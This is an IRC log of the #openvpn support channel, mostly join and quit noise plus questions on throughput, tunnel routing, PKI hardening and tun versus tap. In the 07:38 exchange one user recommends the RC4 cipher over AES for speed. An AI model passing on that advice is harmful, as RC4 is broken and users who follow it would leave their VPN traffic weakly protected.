04:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
04:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
04:18 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
04:18 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
04:30 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
04:36 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
04:37 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
04:39 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
04:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
04:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
04:49 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
04:50 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
04:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
05:01 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
05:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
05:05 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
05:07 -!- HyperGlide [~HyperGlid@182.151.164.151] has quit [Remote host closed the connection]
05:10 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
05:11 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
05:18 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
05:19 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
05:23 -!- KaizokuJoe [~kaizoku@c-83-233-216-17.cust.bredband2.com] has quit [Quit: Lost terminal]
05:23 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
05:25 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
05:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
05:28 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
05:32 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Operation timed out]
05:41 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
05:46 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
05:47 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
05:51 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
05:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
05:57 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
05:58 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
06:00 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
06:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
06:04 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 268 seconds]
06:06 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
06:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
06:28 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
06:29 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
06:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
06:30 -!- takamichi [~takamichi@141.255.164.76] has joined #openvpn
06:32 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
06:37 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
06:42 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
06:42 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
06:42 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
06:43 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Operation timed out]
06:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
06:48 -!- takamichi [~takamichi@141.255.164.76] has quit [Ping timeout: 276 seconds]
06:48 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
06:49 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
06:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:51 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
06:56 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
06:56 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
06:57 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
06:58 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:07 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
07:08 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
07:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
07:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
07:17 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
07:18 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
07:19 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
07:22 < takamichi> Does anyone have an idea of the performance limits of OpenVPN on a 10Gb/s network. My prelim tests are showing around 50Mb/s with AES-256. Does that sound about right?
07:32 < kisom> takamichi: Depends on the CPU. Also, OpenVPN is single threaded.
07:32 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
07:32 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:33 < jzaw> !ping
07:33 <@vpnHelper> pong
07:33 < jzaw> ooh good
07:33 < jzaw> thanks
07:35 < kisom> takamichi: Run "openssl speed", you'll get about the same speeds in OpenVPN
07:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
07:36 < takamichi> kisom: We're running quad Xeon 4620's @2.7Ghz with 64GB ram
07:36 < takamichi> kisom: ok, I'll check the openssl speed, thanks!
07:36 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
07:36 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
07:37 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Connection reset by peer]
07:38 < kisom> takamichi: On my box RC4 is about 10 times faster than AES. If I were to set up a 10 Gbps link I'd probably use RC4.
07:39 < takamichi> kisom: literally 10x?
07:40 < kisom> takamichi: Give or take. AES did 60 MB/s, RC4 695 MB/s
07:40 < takamichi> kisom: thanks, what processor?
07:41 < kisom> takamichi: Some semi-old intel processor. It's a desktop machine.
07:41 < kisom> Probably a core 2 duo
07:41 < takamichi> kisom: agh, ok thanks, cheers!
07:41 < takamichi> s/agh/ahh
07:44 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
07:44 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
07:46 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
07:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
07:54 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
07:54 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
07:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
08:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
08:11 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
08:14 < jzaw> !ping
08:14 <@vpnHelper> pong
08:16 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
08:16 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
08:41 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
08:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
08:43 -!- D3Vito [d3vito@d3vito.de] has quit [Ping timeout: 248 seconds]
08:43 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
08:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
08:52 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
08:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
08:52 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
08:53 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
08:54 -!- str3 [void@str3iber.com] has joined #openvpn
08:55 < str3> so i've connected to my vpn server and it's all fine, but i'm wondering what i need to do to route my traffic through the tunnel. configuring a proxy on the remote ip doesn't seem to work
09:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
09:13 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Operation timed out]
09:14 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
09:14 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
09:21 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:22 -!- jtrucks_ is now known as jtrucks
09:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
09:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
09:45 -!- JAVACODER [~JAVACODER@2.190.42.104] has joined #openvpn
09:53 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
09:53 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
10:10 -!- D3Vito [d3vito@37.221.197.45] has joined #openvpn
10:13 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
10:14 -!- D3Vito is now known as DeVito
10:15 -!- Devastator [~devas@186.214.110.222] has joined #openvpn
10:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
10:17 -!- Guest60509 [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 256 seconds]
10:18 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
10:19 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
10:19 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:21 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:26 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
10:26 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
10:28 < pekster> str3: A proxy (SOCKS or http proxy) across the VPN link works fine. If you want redirection at the IP level, see:
10:29 < pekster> !redirect
10:29 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:29 <@vpnHelper> http://ircpimps.org/redirect.png or (#5) flowchart mirror at http://pekster.sdf.org/misc/redirect.png
10:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
10:34 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
10:34 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
10:39 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
10:39 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
10:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
10:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
10:47 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
10:50 -!- str3 [void@str3iber.com] has left #openvpn []
10:54 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 264 seconds]
10:55 -!- dimm0k [~dimm0k@pool-108-54-208-146.nycmny.fios.verizon.net] has joined #openvpn
10:55 -!- dimm0k [~dimm0k@pool-108-54-208-146.nycmny.fios.verizon.net] has quit [Changing host]
10:55 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
10:56 -!- Devastator [~devas@186.214.110.222] has quit [Changing host]
10:56 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
11:09 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 264 seconds]
11:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:26 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
11:29 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
11:30 -!- JAVACODER [~JAVACODER@2.190.42.104] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
11:37 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Operation timed out]
11:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
11:40 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
11:42 -!- Gruu [~Gruu@91.240.66.29] has joined #openvpn
11:42 -!- Gruu [~Gruu@91.240.66.29] has quit [Read error: Connection reset by peer]
11:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
11:45 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
11:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
11:47 -!- mode/#openvpn [+o dazo_afk] by ChanServ
11:47 -!- dazo_afk is now known as dazo
11:48 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
11:48 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
11:50 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 276 seconds]
11:51 -!- dimm0k [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has joined #openvpn
11:51 -!- dimm0k [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has quit [Changing host]
11:51 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
11:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
11:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
11:58 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
11:58 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
12:00 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
12:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
12:05 -!- mode/#openvpn [+o plaisthos] by ChanServ
12:11 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
12:13 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
12:14 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
12:16 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
12:21 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
12:21 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
12:22 -!- Guest96642 [uid3543@gateway/web/irccloud.com/x-nuagjuhwpxunlejk] has joined #openvpn
12:23 -!- Guest96642 [uid3543@gateway/web/irccloud.com/x-nuagjuhwpxunlejk] has left #openvpn []
12:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
12:37 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:37 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
12:38 -!- oBadAtom [~epigramma@supporter/active/BadAtom] has joined #openvpn
12:39 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
12:40 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
12:41 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
13:00 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
13:05 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
13:14 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
13:20 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
13:22 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
13:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
13:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:43 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 264 seconds]
13:51 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 264 seconds]
13:52 -!- dimm0k [~dimm0k@pool-108-54-208-146.nycmny.fios.verizon.net] has joined #openvpn
13:52 -!- dimm0k [~dimm0k@pool-108-54-208-146.nycmny.fios.verizon.net] has quit [Changing host]
13:52 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
13:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
14:05 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:10 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
14:10 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
14:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
14:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:20 -!- SgrA [~sgra@gateway/tor-sasl/sgra] has joined #openvpn
14:21 < SgrA> Hi! Like SSH, do I need to take any extra steps to make my OpenVPN server more secure?
14:22 < pekster> That's a vauge question. Depending on your paranoia level, keep your PKI on an offline-only system (at least the CA and possibly intermediate signing keys), use two-factor authentication plus public key (eithe run+pw, or some OTP implementation), ensure your private keys are encrypted with strong passphrases, keep good logs for auditing
14:24 < vaillor> pekster, is there a way to know a common name's certificate?
14:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
14:27 < SgrA> I'd need ca.crt and server.{crt,key} on the server. So ca.key on an offline-only system?
14:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:29 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
14:29 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
14:35 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 264 seconds]
14:36 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
14:41 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
14:41 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
14:47 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 276 seconds]
14:49 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
14:54 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
14:55 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
15:01 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
15:02 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
15:05 -!- Poster|x [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
15:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
15:08 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 246 seconds]
15:09 < KiNgMaR> using dev tun + tcp + tls mode, I can ping both machines from each other - on the client, I see traffic from a local subnet being routed into the tunnel (tcpdump -i tun0, LAN.IP -> VPN.SERVER.IP), however tcpdump -i tun0 on the VPN server never shows the packets from LAN.IP (works with packets from CLIENT.IP) - any idea what I might be missing?
15:11 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
15:16 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
15:17 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
15:19 < KiNgMaR> ok, got it [ ref: http://openvpn.net/index.php/open-source/faq/79-client/317-qmulti-bad-source-address-from-client--packet-droppedq-or-qget-inst-by-virt-failedq.html ]
15:19 <@vpnHelper> Title: "MULTI: bad source address from client , packet dropped" or "GET INST BY VIRT: [failed]"? (at openvpn.net)
15:21 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
15:22 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
15:26 -!- C_S_B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 252 seconds]
15:27 < EugeneKay> SgrA - For the best PKI security, your CA Key should be kept on an offline-only system(all communication via floppy disk or USB key or such).
15:28 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
15:28 < EugeneKay> You should also(though few people bother to) generate client keys on the systems they will be used on, and pass a CSR to the CA machine, which will return a Certificate.
15:28 -!- Poster|x is now known as Poster
15:29 < EugeneKay> (I don't do this; easier to just one-way the key+crt from the CA machine, and it's all transmitted via SSH anyway)
15:29 < EugeneKay> Use of 4096-bit keys throughout is also recommended.
15:29 < EugeneKay> I think 8192 and 16384s will work, but those take a looooong time to generate and aren't universally supported by other applications.
15:31 < SgrA> I'm currently on 2048-bit keys, should look at that. Is generating keys the only instance when ca.key will be necessary?
15:31 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
15:31 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
15:37 < EugeneKay> Signing certificates
15:40 < SgrA> Okay, won't be doing any of that any time soon, so moving ca.key to a more secure location. server.key, server.crt and ca.crt will have to be left there, right?
15:41 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 248 seconds]
15:43 -!- dimm0k [~dimm0k@pool-108-54-208-146.nycmny.fios.verizon.net] has joined #openvpn
15:43 -!- dimm0k [~dimm0k@pool-108-54-208-146.nycmny.fios.verizon.net] has quit [Changing host]
15:43 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
15:46 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
15:47 < EugeneKay> Yes
15:48 < SgrA> Alright, thanks!
15:51 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
15:51 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
15:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
15:58 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
15:58 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
16:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
16:09 < pekster> vaillor: Stop asking *me* questions. Ask the channel questions; I'm not your paid support
16:10 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 241 seconds]
16:12 < EugeneKay> Or, don't ask us, because we won't bother answering them.
16:15 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
16:26 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
16:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
16:55 < dimm0k> this is driving me crazy!  so i've successfully set up openvpn on a test vm in linux...  but when i copy over the server.conf and ccd, the server can't ping the client using the client's LAN ip
16:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
16:57 < dimm0k> i've added 'ip r a 192.168.14.0/24 via 10.8.14.30" on the server, but still can't get to 192.168.14.6 or 192.168.14.1
16:57 < dimm0k> test vm, no problems...
16:57 < dimm0k> ip_forward is on
16:59 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
17:12 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
17:22 -!- master_o1_master [~master_of@p4FD7B9CF.dip0.t-ipconnect.de] has joined #openvpn
17:26 -!- master_of_master [~master_of@p4FD7B1C1.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds]
17:45 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
17:45 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
17:52 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
17:53 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
17:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
18:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
18:02 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 252 seconds]
18:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:06 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:18 -!- emmanuelux [~emmanuelu@37.59.236.163] has joined #openvpn
18:19 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
18:21 -!- Partmedia [~kevinz@99.189.65.58] has joined #openvpn
18:22 < Partmedia> Hi guys, just to make sure, the client's tap0 doesn't have to be bridged to the ethernet interface in bridging mode, right?
18:23 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
18:24 < BtbN> Depends on what you want to do.
18:25 < Partmedia> good point
18:25 < Partmedia> err, I'm bridging between a server and a client, the client doesn't have to see any other clients
18:25 < BtbN> there is a chance that you don't want/need bridging at all.
18:26 < Partmedia> the problem is that traffic goes from server->client, but traffic can't go from client->server
18:26 < Partmedia> I remember deciding against bridging, maybe I'll try routing
18:26 < Partmedia> when I ping client from server, tcpdump shows that the client gets it and tries to respond, but it never makes it back to the server
18:26 < BtbN> tap means that you are using openvpn in bridge mode
18:27 < Partmedia> sorry, s/against bridging/against routing/
18:27 < BtbN> and why? Bridging makes things more complicated and is only usefull for a few special cases.
18:28 < Partmedia> you've got me there, I'll come back when I try out routing
18:28 < Partmedia> BtbN, thanks!
18:47 < pekster> !tunortap
18:47 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
18:47 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
18:47 < pekster> See also: !whybridge
18:50 < Partmedia> !whybridge
18:50 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
18:52 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
18:55 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
18:58 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
19:00 < Partmedia> Using tun seems to work very nicely, I can ping from both sides, thanks a lot!
19:14 -!- Denial [~Denial@90.205.133.229] has joined #openvpn
